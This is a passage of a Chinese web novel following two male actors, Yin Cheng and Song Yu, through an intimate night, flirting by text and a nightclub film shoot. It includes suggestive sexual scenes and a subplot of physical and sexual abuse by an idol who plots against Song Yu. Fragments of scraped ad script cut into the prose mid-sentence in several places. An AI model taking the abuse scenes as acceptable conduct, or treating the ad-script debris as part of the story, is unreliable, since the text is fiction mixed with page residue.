预感到即将发生什么事,印澄心跳迅速攀升,着了魔般听令行事。 微启的唇紧密相合,宋屿的舌头就那么悄然探进。 印澄颤得更加厉害,本能地还想躲,却被对方用力扣住,圈在原处。 “唔。”印澄发出短促的呻.吟,舌.尖被对方来回勾.动。 他回应得很笨拙,每次都慢了半拍,但这样的反应似乎让对方更想逗弄。 印澄紧环宋屿的手无意识地抓.揉着,慢慢寻到点门路。 这次的吻比他想象得还要绵长,分开时,两个人都气喘吁吁,连宋屿也不再镇定自若,目光迷乱。 短促地喘了几秒,他们不约而同地又开始交缠。 动作急迫,吻得甚至有点凶。 印澄情迷,忽然觉得身上一重,被宋屿直接压在沙发上。 * * * 印澄望着头顶的橘黄色灯光发怔。 他不知道宋屿是什么时候离开的。 或许临走前,宋屿曾在他耳边说过话,但他一片茫然,全都不记得了。 后续的发展,跟剧本上的情节相同,甚至还超出该有的范畴。 印澄的小小澄发现的变化,不可避免地被宋屿注意到。 努力隐藏的那点心思,显露得无可辩驳。 宋屿不是立刻离开的。 他没有特地征询过印澄的意见,狠狠加深了那个吻后,便隔着运动裤帮忙。 印澄混乱不堪,被弄得几乎忘记正在练习的是什么事。 无法言语的欢.愉与求而不得交替折.磨,让人几欲发狂。 他后仰着头,身体轻微拱出一条弧线,半上不下的,干脆想推开宋屿的手。 “你、你回去,我自己弄。” 宋屿吻在他的喉结上,用牙齿轻咬着,研.磨他呢.喃出更多声音,大手当真短暂离开。 随即,便如同印澄暗自祈求的那样,拨开了屏障。 印澄就是从那刻起记不清事的。 他抬手,摸了摸眼角,发现那里似乎很湿润,有生理性的泪流过。 脑内炸过的烟花随着时间消散在虚空。 他软着手脚坐起身,察觉到运动服是穿好的样子,仿佛那一切都只是场梦。 印澄扶住沙发背站好,赤着的脚不留神踢到了垃圾桶。 刚丢进去的东西洒翻出来,是几张用过的纸。 印澄深吸一口气,没去拿扫帚,俯下身,用手把它们重新丢回桶内。 是真的。 不是幻觉。 他一路扶墙去浴室,似乎这样腿才能支撑住。 这次,他给自己放了热水。 浸泡在暖洋洋的浴缸里,印澄用手撩起一捧水,自头顶浇下。 无论怎么解释,后面的那些,都已超过某些该有的范畴。 他们,越界了。 …… 意外的,印澄一夜好眠。 刚躺在床上时,他以为肯定要睁眼到天亮,没想到会睡得那么快。 不知是热水澡的功效,还是其他的原因。 次日被闹钟吵醒,印澄只觉得身心舒展,竟有种想要赖床的冲动。 这不符合他“卷王”的习惯。 肥肥鲨抱枕掉在地上,显然是被他昨晚的某种睡姿踹飞的。 印澄半个身子挂着床,努力伸长胳膊去够,费了一番劲才用指尖把它勾回来。 地面很干净,白天都会有清洁工打扫。 他拍拍并不存在的灰,重新懒回被窝,把一条腿.搭在抱枕上骑着,似乎这样更好受点。 手机忘了充电,就放在枕边。 印澄用手胡乱搓搓脸,直至把脸搓红,充分清醒后,才划开屏幕。 热烈的期盼终究还是落了空,宋屿跟他的聊天记录还停留在以前,没有新消息。 印澄抿唇,夹住抱枕翻身,换个方向侧躺。 真冷淡。 难道网络延迟了? 他抱着期望重新连接wifi,又点开其他APP测试网速,确认流畅,才重新折回微信。 画面依旧,空荡荡的。 他食指下滑,刷新。 两秒钟后,再次刷新。 没变,还那样。 印澄扔开手机,晨起的好心情荡然无存。 他实打实地郁闷一会才反应过来,自己居然在对宋屿不满。 印澄愣了愣,迟疑着复盘昨晚的事。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 其实,有一说一,享受到的,应该只有他。 毕竟,宋屿没让他做同样的事。 至于接吻,也是两个人都认可的。 那,他到底在不满什么的? 怪宋屿回去后没给他发信息? 可他自己也是倒头就睡。 真讲道理,他这个“被帮助”的人,是否更该主动些呢? 印澄在心里劝了自己一通,打定主意,重新捞回手机,刚想发个“早安”,却还是怂了。 这种回避心理很微妙,甚至没法解释。 还是算了,反正片场总会遇到。 而且宋屿的戏份拍在米契尔惩治罗伊保镖之后,到场也比他晚,没必要上这么早的闹钟,很有可能现在还没醒。 贸然发信息,打搅到人家就不好了。 但是…… 昨晚都那样了,他今天突然冷淡,上班前连条留言都没有,宋屿会不会像他一样多想? 印澄在输入栏里反反复复写了又删,简单的“早安”两个字竟像什么复杂论文,要纠结到这个地步。 发,还是不发? 这是个问题。 呃啊啊啊!现在不是COS莎翁的时候啊!! 正纠结着,手机忽然一震,吓得印澄手抖,差点没把它扔出去。 谁!大早晨的! 印澄愤而视之,只瞥一眼,就红了脸。 宋屿:【在写什么?】 宋屿:【怎么不发过来】 是 “对方正在输入”! 被宋屿看到了!! 印澄被隔空羞得满脸通红,做梦都没想到宋屿也会在同一时间盯手机。 救命。 宋屿起得好早。 没戏也这么早? 这就是顶流男神的自律嘛! 印澄发出痛苦的声音,知道躲不过,干脆破罐子破摔。 【想发早安】 【怕你没起】 印澄盯着那两条坦诚的气泡,深觉自己的脸皮程度与日俱增。 丢人嘛,不就是。 呵呵,他丢着丢着就习惯了。 印澄再也躺不住,翻出今天要穿的衣服换好,忙得很刻意。 他不要盯着未回应的聊天界面看,心情会变得奇怪。 手机闷在被子里,“嗡嗡”两声。 印澄把套到一半的短袖甩开,跃回床.上。 歪倒的肥肥鲨静静盯着主人,表情又萌又憨。 还很无语。 宋屿:【我睡觉很沉不会被留言吵醒】 宋屿:【你随时可以发东西过来】 宋屿:【看见你的消息我会很开心】 宋屿:【早安】 印澄捂着心脏应声倒下,嘴角乐开了花。 他好幸福。 像向日葵照到充足的阳光,又被充分浇过水的幸福。 他扑倒着踢了两下腿,把拖鞋踢飞,双手打字飞快回复。 【哈哈那我就放心了】 【早安】 【我一会就要出门先去收拾了】 印澄放心地撂下手机,脚步轻盈,欢快地奔向卫生间洗漱。 刚跑出卧室,他再度折返,觉得把手机带在身边。 宋屿:【好】 宋屿:【记得吃早餐】 印澄挤好牙膏含在嘴里,笑得灿烂。 【好!】 28. 疯狗 “滚!越来越踏马没劲!艹!” 左星台被踹得滚下床,先落地的右肘磕到硬地砖,疼的厉害。 他摔趴在地,眼冒金星,被踹的鼻子涌出股血,淅淅沥沥淌到衣服上。 彭献烦躁,又朝他摔了两个枕头,怒骂:“给老子死远点!少在这碍眼!” 左星台用胳膊堵住鼻血,挣扎着爬起身,一瘸一拐走出卧室。 身上好像有哪里骨头断了,动一下都痛。 左星台靠着墙缓神,确定疼意消褪到可忍范围内,才拖着脚去卫生间,撕两团卫生纸塞鼻孔里止血。 5分钟后,鼻血不再流。 他小心翼翼扯掉纸团,对镜子检查伤势,看到鼻骨没歪,这才松了口气。 此处是彭献的家,郊外别墅,左星台对这里的一应构造都轻车熟路。 彭献叫他滚,左星台更是巴不得离开,但他不敢走。 加入Aurora Blaze的这几年,彭献对他的兴趣越来越淡,分给他的资源犹如鸡肋。 明年团合约就到期了,彭献的人气不算糊,但也绝对算不上热。 900W的粉丝数看着唬人,但其中有多少水分左星台一清二楚。 他的单曲销量不好,代言靠大粉在群里催氪还算有点体面。 最近又有新选秀开播,他们团都有粉丝流失,左星台则是跑粉最严重的一个。 资本逐利,养成偶像话题度高,来钱快,类似的节目层出不穷,受众群体选择越来越多,爬墙头更是常态。 左星台时常焦虑,那些新出道的秀人们永远更年轻、更新鲜。 再过两年,他没准连现有的资源都保不住,遑论向上发展。 彭献是恶心,但待在这条船上,起码有肉吃。 新靠山难找,再想巴结到吃这套的,不知还要受多少磋磨。 好歹彭献的手段,他都习惯了。 左星台以为哪怕团散后,彭献也能允许他跟身边,可刚才发生的事却让他血凉。 他第一次没能取悦彭献,甚至连让其兴奋都做不到。 昨晚宋屿的回应导致舆论反扑,彭献气得乱砸东西,看他愈发不顺眼,直接把他当沙袋揍。 即便是现在,身上的淤青依然会痛。 彭献失眠到深夜,中午刚起床,就喊左星台给他口,估计是想解解闷。 如今又不成事,怒火交加,没准会对左星台厌恶,彻底把他踢出局。 左星台望着镜子里的自己,忽然陷入巨大的恐慌。 他希望彭献这个烂人死,但在死之前,他必须得拿够才行! 左星台吃了颗止疼药,走进二楼尽头的衣帽间。 这里放着的不是彭献的衣服,而是印澄的。 彭献是个变.态,刚出没把印澄搞到手,一直对这事儿念念不忘。 成团后,他甚至把印澄在《星途闪耀》里所有穿过的衣服,都买了下来。 舞台装、训练服、常服…… 甚至连背后的姓名标签,都保存完美。 每一套衣服,左星台都上过身。 搞过几次后,彭献又嫌不够劲,便动手把裤子的前后和衣服前胸都开了洞。 下流至极。 左星台皱眉,目光扫过那一排不堪入目却被挂好保存的衣服,最终选择了套训练服。 跟华美精致的舞台装相比,这件最能刺激彭献。 毕竟当初分组时,印澄每日和彭献练唱跳,穿的就是这一身。 左星台穿得很慢,每次不慎碰到伤处,都疼得倒吸冷气。 好不容易换好装,他拿起化妆包,稍做挑整,让五官变得清秀,贴合印澄的长相。 最后,他戴上印澄同款的黑色碎发,掩盖住自己刚染的蓝发。 为了固定假发,左星台特地多别了几个小发夹。 有一次做到途中,彭献扯掉他的假发,勃然大怒,险些当场掐死他。 简直是条疯狗。 准备妥当,左星台强迫自己打起精神,再度返回彭献的卧室。 果然,他这番打扮还是有效果的。 彭献骑得骂骂咧咧,泄愤似地用手扯住他的假发,强迫他仰头,说出求饶的话。 “嘭嘭,疼。”左星台示弱,同时努力让自己更紧。 彭献呼吸一顿,轻了手上力道。 他不再骂,只咬着牙低吼疯狂。 那是印澄对彭献的独有称呼。 录制《星途闪耀》很苦,没有太多娱乐设施,每天除了唱歌就是练舞。 彭献无聊时就爱两手合在一起,摆出枪的姿势,嘴里嘀咕着“嘭!嘭!”,隔空打人玩。 其他人都很无语,也不敢当面骂他傻缺,每次遇到他发癫都笑着敷衍。 就印澄肯陪他玩。 印澄会模拟中弹的反应,随着彭献手指的方向变换捂伤口的位置。 打枪嘭嘭响,印澄逗乐,就管彭献叫“嘭嘭”。 这种配合让彭献大为受用,后来这套把戏他就只用在印澄身上。 练舞太累,印澄舍不得休息,彭献就举□□打他。 印澄笑着夸张倒地,也就顺势躺一会儿。 彭献每次都会走过去,翘着二郎腿枕在他肚子上,跟他讲刚才哪个动作不标准,待会该怎么改之类的。 左星台冷眼旁观,早就看出彭献有别的心思,奈何印澄迟钝,愣是没发现。 印澄这人,相识初期边界感很强,但熟了之后,就不太注意分寸。 他的温柔跟普通直男不一样,很容易让人多想。 有次彭献在操场和朋友打篮球,灌了十几个,大家都拍手叫好,唯独印澄过去拉彭献的手看,发现肿了,不仅帮他揉,还低头吹了吹。 彭献当时的目光热得吓人,可印澄刚说两句话就被敖乐盐叫走,硬是没看见。 后来印澄帮左星台出头,和彭献闹掰,四处找人举报,彭献也没动他,压着火,等他撞得头破血流,才用好处勾他。 彭献太傲,做到这份上,已经是极限。 印澄拒绝他,算是把他面子往泥里踩。 真踏马活该。 节目录完,彭献过得花天酒地,总幻想印澄有一天混不下去,能过来求他。 甭管印澄是录综艺还是演戏,彭献都暗中盯着,几个片段在别墅里的私人影厅里来回播,还发微博阴阳。 印澄第一次当群演,演技太烂,只会当应声虫点头,活像只呆鸟。 彭献乐了半宿,特地发段自己逗鹦鹉的视频,让鹦鹉学他说“呆鸟”,还配搞笑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 音乐。 “哈哈,那笨蛋肯定气死了!”彭献发完得意洋洋,和左星台猜测印澄的反应。 左星台觉得印澄可能把这疯子拉黑了,但他不敢说。 彭献的幻想持续很久,并乐此不疲,他坚信印澄倒霉的每一天,都会赶着那犟种往自己身边靠。 直到印澄演的“傅生”小火,彭献笑不出来了。 他那段时间忽然不再让左星台扮印澄,也没去找其他人,只独自喝闷酒。 憋闷三天,彭献嘴边冒出圈发青的胡茬,打电话叫出狐朋狗友,组了个局。 局上所有人都知道他的心思,保证只要人到,肯定想办法说和,缓解他们的关系。 那时彭献对印澄的渴望达到顶峰,决定再主动一次,给他个台阶。 至于左星台,则被逼着去把印澄带来。 这差事不容易,但左星台早就抛弃了自尊,软磨硬泡的,倒也成了。 那天彭献特地找人做完妆造过来的,活像只发.情孔雀。 人是来了,可又走了。 印澄还是那个印澄,当面摔门,像打彭献一耳光。 …… 彭献彻底释放,从左星台身上离开。 他抬腿下床,将散落的衣服用脚踢开,随便拿纸擦了擦,冷笑连连。 “行啊,又傍上宋屿了。” “我还当他骨头多硬呢,原来还挑人呐。” “不就是宋屿么?行,等着!” “等我把姓宋的整死,看他还能靠谁!” 发完狠,彭献叼着烟打了几个电话,左星台瘫在床上静静听着,越听越心惊。 豪华游轮…… 宋屿要真入了这个局,铁定得被抓。 这辈子也就完了。 彭献这狗日的越来越疯,居然连犯法的事都敢干。 那他呢?要跟着吗? 左星台慢慢起身,佯装没留意到彭献的谈话,脱下印澄的训练服叠好。 跟着,万一出点什么事,他肯定也逃不掉。 宋屿背景不简单,彭献没准要翻船。 可要是成功了呢? 他在这个时候帮忙,就相当于和彭献深度捆绑,以后哪怕为着这事,彭献都得把他当自己人。 未来,他铁定能混得风生水起,再不用愁前程。 但,这风险也太大了。 仔细想想,这次的事是个好时机,或者他干脆反咬一口,彻底把彭献弄倒呢? 不行,那样做他捞不到半点好处,还极有可能被报复。 爽是爽了,却没屁用。 他隐忍这么多年,白玩算什么? 彭献皱着眉穿西装,看样子是要出去。 “我把这个送去洗了。”左星台抱起训练服,声音低顺。 “嗯,送完先回去。”彭献看他一眼,边系领带边离开。 左星台冲地面吐了几下口水,刚要循惯例诅咒彭献,忽然接到一个电话。 陌生号码。 他沉默地听着,偶尔回应几句,神色愈发凝重。 半小时后,左星台简单收拾下,也开车离开别墅。 对方的来历他暂时还看不透,但他直觉,这是个机会。 弄倒彭献,自身还能获利的绝佳机会。 29. 漫画男 本次的拍摄场地Eclipse Club,是市内一家颇有名气的高档夜店。 内设一流,服务到位,不过消费实在贵得离谱。 印澄很少去夜店,觉得里面吵,音乐震耳,灯光也晃得眼疼。 倒是敖乐盐嗨起来没边,每次去都能玩到天亮。 印澄到场时,店内灯光还很干净,方便剧组人员布景。 他四处打量环境,DJ台、舞池、卡座、吧台都装修得不错。 卡座较多,中间还有三个小表演台,至于包厢,一层有十几个,更多的都在二楼的vip区。 场助带他看位置,用手指了指,只见二楼有一间外凸的玻璃包间,能全方位的俯瞰下面所有景象。 “玻璃可以调,单向或双向。”场助在旁补充。 印澄仰头,忽然觉得害怕。 这种玻璃质量应该过关吧,别演着演着突然掉下来。 嗐,他也是杞人忧天,都营业那么长时间了,一直没听说Eclipse Club有安全问题。 印澄脚下生根,很久都没动。 其实,他有亿点点恐高。 “印老师?”一道陌生的声音忽然从背后叫住他。 印澄回头,发现自己并不认识对方。 那是个长相柔和的男人,左眼尾有颗泪痣,头发染成银灰色,像漫画中走出的美男。 “你是……”印澄迟疑。 “陆泽邑,演米契尔的贴身助理。”陆泽邑友好地伸出手。 原来是他。 印澄简单和他握了下,想起当初自己也曾争取过这个角色,心情复杂。 场景还在布置,杨导关心着灯光问题,离正经拍摄尚有一段时间。 陆泽邑并没很快离开,而是兴致颇浓地和他继续聊天。 “印老师真亲切,说实话今天见面前,我狠狠紧张了半夜,都没睡好。”陆泽邑随印澄在一楼慢慢逛,边走边揉眼睛。 印澄这才发现,陆泽邑没画眼线。 好浓的睫毛,他还以为对方上过妆。 “你是第一次拍戏?”印澄其实不太想和他多聊,出于礼貌,只能闲扯两句。 “哈哈,之前演过两场,都是小配角,没什么水花!”陆泽邑忽然拦了印澄一下,示意他小心脚底的电线,“我不是紧张拍戏,是因为你来着。” “我?”印澄怔住。 “是啊,当初这个角色,张制片不是为我才把你挤下去的嘛,那阵我就觉得挺难为情的,现在见面,更不知道该怎么办才好。”陆泽邑弯腰,耷拉着双肩,做出夸张的苦恼姿态。 漫画感好浓! 印澄没想到对方竟毫不避讳,谈得大大方方的,一时摸不准这人什么路数。 故意挑衅? 还是单纯的……没脑子? “如何选择,是张制片的事,我尊重他的决定。”印澄语气略显生硬。 “不是不是!”陆泽邑抬头张望了下,确定周围没人,凑近印澄,用手扩成小喇叭在他耳边悄声道,“不是你演得不好,是我给张制片塞钱啦!30w呢!” 印澄猛地拉开距离,瞳孔震动。 30w? 这也太黑了! 不是,陆泽邑怎么连这事都跟他说? 这、这…… “哎,我和张制片没什么交情,演技又平平,想挤进《欲都》这样的好项目,当然得出血了。”陆泽邑哭丧着脸,“赌一次吧,万一这回能火呢,我出道三年,一直都糊,难得的机会,不赌还能怎样呢?” 印澄抿抿唇,恍惚间好像看见了另一个自己。 用钱买位置,在圈内是很寻常的事。 不提剧组,单是某些大型晚会,有的18线演员为博露面的机会,非但分文不收,甚至是倒贴钱的。 只要能出名,前期投入就都不算什么。 但若是播出后效果不佳,那钱也就白打水漂了。 陆泽邑说得没错,的确是赌。 “哎,现在当面把话说开,我心里也能好过点。印老师,你要是生气,就骂我两句吧,打两下也成,只要能消气就好……咱们得拍4个月呢,可千万别给我小鞋穿啊!”陆泽邑双手合十,对他做出求饶的动作。 印澄吓了一跳,忙把他手按下去:“你把我想成什么人了?” 而且还在大庭广众下求他,被人看到都解释不清! 这家伙,真的有社会经验吗? “这么说,你不生我气了?”陆泽邑歪头看他,满脸期待。 印澄:…… 印澄:“嗯。” “太好啦!哈哈,那以后我叫你澄哥行吗?印老师太见外了!”陆泽邑满脸开心,眨眼间多云转晴。 印澄无奈叹口气,沉默片刻,才询问他的年龄。 结果陆泽邑还比他大一岁,他就华丽丽地从“澄哥”变成了“澄澄”。 行吧。 陆泽邑很健谈,几分钟内就和印澄认了老乡。 原来他们老家都是鹿商县的,学校离得也不远,甚至还知道一家很有名的炸洋葱。 新鲜的洋葱切开花后裹上面糊,炸至整体金黄,再撒上辣椒和孜然,隔壁小孩都馋哭了…… 印澄感慨童年,十几分钟内,居然对陆泽邑有种相见如故的感觉。 老乡见老乡,两眼泪汪汪,关系一下就亲近不少。 “哇,澄澄,相见恨晚啊!你来演米契尔真是太好了!”陆泽邑还是那副夸张腔调,“那个KK听说可不好相处了,走了正好,我以后……” “诶!”印澄及时打住他,头疼地把陆泽邑拉到旁边,压声叮嘱,“出门在外,别轻易说他人坏话,圈里低头不见抬头见的,你跟他没过节,何必得罪人呢?” “以后或许还有合作的机会,闲话有人说就有人听,传出去指不定成什么样子,知道吗?” 陆泽邑笑容凝了一瞬,不过很快,唇角就再次扬起。 “澄澄,”他语气不再夸张,声音很轻,“你心真好。” 印澄只觉得身边都是些不省心的。 敖乐盐是,新认识的陆泽邑也是。 “印老师,差不多了,咱们楼上请!”场助跑过来通知印澄。 印澄点点头,把手机交给在吧台看酒的吴鸿阳,跟场助上楼。 “澄澄,你怎么没带剧本啊?”陆泽邑走在他身边问。 “都背下来了,不用。”印澄随口回答。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “哇!这么厉害!好专业啊!”陆泽邑吃惊地夸赞。 印澄“哎哟”一声,终于受不住了:“你别总这么夸张啊,我都要被你夸没脸了!” 陆泽邑闭上嘴,虚空拉着拉链,比OK的手势。 印澄:…… 心好累。 * * * 印澄站在玻璃包厢里,尽量不往下面看。 果然,有钱人的兴趣他理解不了。 罗伊保镖依旧是副爽朗的样子,和印澄对戏顺利,甚至还开玩笑,让他待会儿手下留情。 印澄想起即将发生的事,顿时不好意思起来,一直保证会注意分寸,绝对不会弄伤他。 “澄澄啊,你这么温柔,待会可怎么办呀?”陆泽邑凑到他身边,小声替他担忧。 “放心,我会尽力的!”印澄接过场助递过来的道具刀,随便转转找手感。 银光飞旋,在空气中划出森然冷意。 陆泽邑下意识后退,满眼惊奇。 “好,正式拍!”杨临坐在安置在一楼的监视器前,用对讲机通知。 场助在镜头前打板。 “三二一, Action!” 陆泽邑手夹文书,和其他保镖一起站在墙边。 罗伊跪在地上,忽然爆发出声哭嚎,声泪俱下。 印澄挑眉,面色不虞。 “米契尔少爷,我……唔!唔唔!”两名站在罗伊身后的黑衣保镖立刻掏出麻绳,勒住他的嘴,将绳子绑在脑后。 罗伊嘴皮外翻,涎水不受控制地流出来,满脸是泪。 印澄单手打开银质折叠刀,手腕轻动,刀身旋即流畅地绕拇指转了一圈。 “这世界上,每一个错误都有它的代价。”印澄俯身,让刀尖在罗伊脸上缓慢划过。 最终,停留在左眼前方,离瞳孔的距离,只差几毫米。 罗伊浑身僵硬,下意识放轻呼吸,被身后的人狠扒住眼皮,连闭眼都做不到。 近,太近了。 哪怕只有最轻微的晃动,刀尖都能让他的眼球化为一滩血水! 印澄双眼漆黑,仿佛不可见底的深渊,毫无温度,亦不懂同情为何物。 忽然,他手一松,刀尖在罗伊眼前滑落,发出清脆的一声响。 罗伊额头滴汗,就这么会儿,连身上的衬衫都已湿透。 这不是道具师给他喷的水,而是真正的汗。 虽说是假刀,可眼球太过脆弱,那种极限距离倘若发生意外,就算医疗组在旁边待命也没用。 或许,刀的威胁只是其次,印澄的眼神,才是最让罗伊害怕的。 罗伊恍惚觉得,眼前这人,不是刚才跟他微笑对词的印澄,而是真正的米契尔。 暴戾残忍,冷血至极的米契尔。 “捡起刀,罗伊。”印澄抬手,示意那两名钳制罗伊的保镖后退。 他单手撑着脑袋,眼底闪过丝玩味的笑。 罗伊跌趴在地,双手得到自由,却不敢自行扯掉嘴里的麻绳。 他在印澄压迫的目光下呻.吟着,痛苦地捡起刀,哀求磕头。 印澄不为所动,翘搭起腿,脚尖悠然轻晃。 “你知道自己该做什么。” 30.吃醋 格林家族有自己的规矩。 手下人犯错,若能亲自动手,无论受多重的伤,格林家族都会照料其终身,锦衣玉食。 若是下不去手,惩罚也不可避免,或残或废,往后将在塔根城寸步难行。 被格林家族驱逐的人,没谁敢救,也没谁敢收。 下场比死还难看。 这段背景,在先前贝克侦探调查摩拉密医药公司时讲过,而罗伊保镖现在,正面临这种选择。 罗伊握着刀,跪在地上无声哭泣,几次想刺眼,始终都没有勇气。 摄像师推进镜头,特地拍了玻璃地面下舞池的场景。 群演已就位,方才还空旷的Eclipse Club变得热闹非凡。 灯光闪烁,无数俊男美女热舞,蓝、紫、红三种颜色交相笼罩。 随着DJ打出段狂野的节奏,舞台四周豁然喷出大量干冰,云雾缭绕,引得众人兴奋尖叫。 透明包厢很隔音,即便外面音响震天,也只能听见轻微音乐。 米契尔处理罗伊,自然是将玻璃调成了单向。 外面人看不清屋内,屋里却对外一清二楚。 罗伊面临生死抉择的崩溃,和外面纸醉金迷的客人们形成鲜明对比。 反差强烈,更能衬托出塔根市的黑暗和格林家族权势滔天。 待镜头特写结束,印澄露出不耐烦的表情,舌尖颤动,模仿秒针走动的声音。 罗伊拿刀的手愈发颤抖,鼻翼扩张,剧.烈地喘着气。 这预示着米契尔的耐心即将告罄。 米契尔受父亲弗纳尔·格林管控,从不许他在外面过夜,无论怎么胡闹,回家的时间也要控制在22点前。 这事并非秘密,米契尔也常因此受到其他纨绔子弟的嘲讽。 在海边,米契尔的海上摩托大出风头,引起了公子哥安德烈·萨利的嫉妒。 得知米契尔钻表被偷,安德烈借题发挥,嘲笑他看不了时间,回去要被老爸打屁股。 米契尔颜面受损,就此与安德烈交恶,回家后又被父亲训斥,怒火更甚。 而导致这一切发生的罗伊保镖,自然讨不到好果子吃。 印澄舌尖的倒计时戛然而止。 罗伊恐惧到极点,眼看那两名黑衣保镖靠近,开始拼命挣扎。 印澄对眼前这一幕失去兴趣,将目光投向包厢外。 “啪!”场助在角落里拍下手,代表有事发生。 印澄眼神微亮,盯着外面的视线愈发专注,似乎寻到什么有趣的事。 他离开椅子,将混乱抛在身后,端了杯酒走到包厢边缘。 这是段无实物表演,按照剧情应该是米契尔发现贝克侦探在楼下跟安德烈的人打架。 但现在,那些都没有,全凭印澄想象,再做出相对于的微表情反应。 “Cut!”杨导的声音忽然传来。 印澄瞬间泄了气。 单是玻璃地已经够让他害怕,现在还要加玻璃墙! 天呐,太考验心脏了! 他软着腿把酒杯交给场助拿,强打起精神去扶罗伊。 罗伊大汗淋漓,终于能摘掉口中的麻绳,眼角尚有泪的痕迹。 印澄内疚地安慰着他,再三表示歉意,随和暖心,和刚才那个小恶魔判若两人。 罗伊摇摇头,示意自己没事。 随即,他由衷地对印澄竖起大拇指。 “澄澄,你刚才好像换了个人……双重人格?”陆泽邑还回文件夹,赞叹着靠近印澄。 “演戏么,不都是这样?”印澄声音还有点飘,思忖着能不能趁下场戏开拍前,先去走廊里缓缓。 陆泽邑笑得不置可否,见印澄神色紧张,调侃道:“你该不会恐高吧?” 印澄没否认。 “真的?”陆泽邑觉得不可思议,“你恐高,刚才还能演那么好?真是一点都没看出来!” 印澄无心感谢他的夸赞,只想赶快开溜。 下一场是米契尔和贝克侦探的吻戏,服装要换,他该去准备了。 没想到还未走到门口,竟又被陆泽邑拽回去。 “你知道吗?这玻璃地板还有特效,你看,只要用力踩……”陆泽邑现场跺了一下,给印澄演示。 极其逼真的玻璃碎裂声咔咔响起,蛛网般的裂痕在脚下迅速蔓延。 “啊!”印澄吓得不轻,明知道是假的也承受不了。 “别动别动!你别动!”印澄呆住,浑身僵硬,仿佛真站在了悬空的碎玻璃上。 陆泽邑忍俊不禁,故意又踩几脚逗他。 印澄这回有反应了,拔腿想往屋外跑。 “哈哈!真没事儿,你看习惯就好了!来,试试!”陆泽邑哪里肯放过他,从后拦住印澄的腰,把他抱得双脚腾空。 “哇啊!快放我下来!”印澄张着腿,想挣扎又不敢用力,生怕落地时踩得重,再触发碎裂特效。 “来嘛!” “不要!” “阿澄。”宋屿不知何时出现在门口,脸色阴沉。 正在胡闹的两人顿时停下,陆泽邑放开印澄,印澄也有些尴尬地拽了拽衣角。 宋屿半丝笑意都没有,目光快速扫过印澄周身,确认他无事后,冷冷地打量陆泽邑。 “宋老师。”陆泽邑抬起手跟他问好,神色尴尬。 印澄也有点不自在。 宋屿生气得这么明显,好像他做错什么事被逮到一样。 呃,片场打闹,的确很幼稚。 不过离这场戏开拍还有一段时间,应该没耽误到进度吧…… “咳,他叫陆泽邑,是我同乡,这次演米契尔的贴身助理。”印澄硬着头皮,帮刚认识的朋友做介绍。 陆泽邑用手理了理漂亮的银灰发,对宋屿笑笑。 宋屿很有节制地颔首,算是打过招呼。 气氛丝毫没热,反而比刚才更冷。 “咳,我先去楼下候场。澄澄,加油!”陆泽邑临走时想顺手拍拍印澄的肩,瞥一眼宋屿,硬是半路收回了。 印澄在宋屿的注视下,慢慢磨蹭到他眼前。 “他刚才就是和我开玩笑……粗线条,人挺好的。”印澄试图替陆泽邑挽回点形象。 “粗线条?”沈秋将方才那些尽收眼底,意味深长,“我倒觉得,他眼色挺快的。” 印澄对这点表示认同。 的确,溜的够快。 “先去换衣服。”宋屿展臂,将印澄半揽进怀,带到走廊。 “……嗯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。”印澄应了声,跟随场助离开。 他总觉得,宋屿心情不太好。 是因为昨天的事…… 后悔了? 可,早上用微信聊天时,他还好好的。 那现在怎么回事? 总不会是看见他和陆泽邑打闹,吃醋了吧? 哈哈,离谱。 不会真是这样吧…… 印澄换衣服换得脑袋乱乱的,抑制不住地在琢磨宋屿刚才的态度,连旁边人说话都迟半拍给反应。 “澄澄,你这样不行啊!待会儿那场戏很重要,一定要精神!”吴鸿阳很担心印澄注意力不集中,掏出降温喷雾对准他一顿喷。 “阿嚏!阿——嚏!”印澄被激得打冷颤。 秦鸣默默远离喷射区,避免遭殃。 “谢谢,我好多了!”印澄接过纸擦擦鼻子,再不敢走神。 吴鸿阳对他的状态很关注,再敢瞎想,没准还要挨喷。 再次回到片场,宋屿已恢复到他所熟悉的温柔模样。 仿佛刚才的低气压从未存在过。 “阿澄,你恐高?”他挡在门口,并没有让印澄直接进去。 印澄不好意思:“其实也不算太严重,就是……” “一会儿进去,你只看着我就可以了。”宋屿捏捏他的脸,柔声安抚,“别注意周围环境。” 印澄脸颊发烫,害羞地点点头。 其实不用宋屿提醒,他大抵也会这样做。 有宋屿在,他还哪有心思关注其他的。 包厢内布景稍稍做过改变,酒水的种类、摆放位置皆有不同。 杨临导演离开监视器,特地过来,指导他们待会的动作。 “来,先走一遍流程。”杨临手持剧本,招呼两人过去。 印澄深吸一口气,跟在宋屿身后,再次步入透明包厢。 只看着宋屿、只看着宋屿…… 果然,腿好像不抖了。 宋屿的侧脸真帅,轮廓分明。 好高挺的鼻梁啊。 印澄小腹一热,忙收敛心神,不敢再想。 昨晚宋屿帮他的时候,一直在用鼻梁蹭他的脸。 缱.绻亲昵,细听他每一声抑.制不住的闷.哼。 单是想想,印澄就觉得耳热,心跳更是乱得不行。 糟糕,宋屿带给他的刺.激太大,待会拍戏一定要小心。 要是在杨临面前暴.露了什么…… 印澄简直不敢想。 “贝克坐在沙发上,一板一眼地读文件汇报工作。米契尔呢?和他一起坐着?啧,有点无聊。”杨临皱眉,似乎对剧本不满意。 印澄和宋屿对视一眼,也参与到动作的设计当中。 导演临场改剧本很常见,有时灵感爆发,会和演员们碰撞出不一样的火花。 “这样,我坐沙发,米契尔站在沙发背后,俯身抱着我勾引怎么样?”宋屿坐好,示意印澄到他背后。 印澄福至心灵,双手搂搭在宋屿胸前,将脑袋搁在他颈侧。 宋屿握住他的手腕,帮忙调整到合适位置。 “不错,这个姿势好!然后这样,米契尔,你舔他耳朵,色.气一点,再观察贝克还能不能用正常语气汇报工作。” 31.勾引 印澄挂在宋屿胸前的手一抖,动作细微,只有他们两人能察觉。 “好。”印澄强装镇定,想表现出自己专业的一面。 正常讨戏而已。 这没什么。 不过,舔得色一点? 印澄舌尖动了动,回忆着在敖乐盐给他的那堆“学习资料”中能用得上的部分。 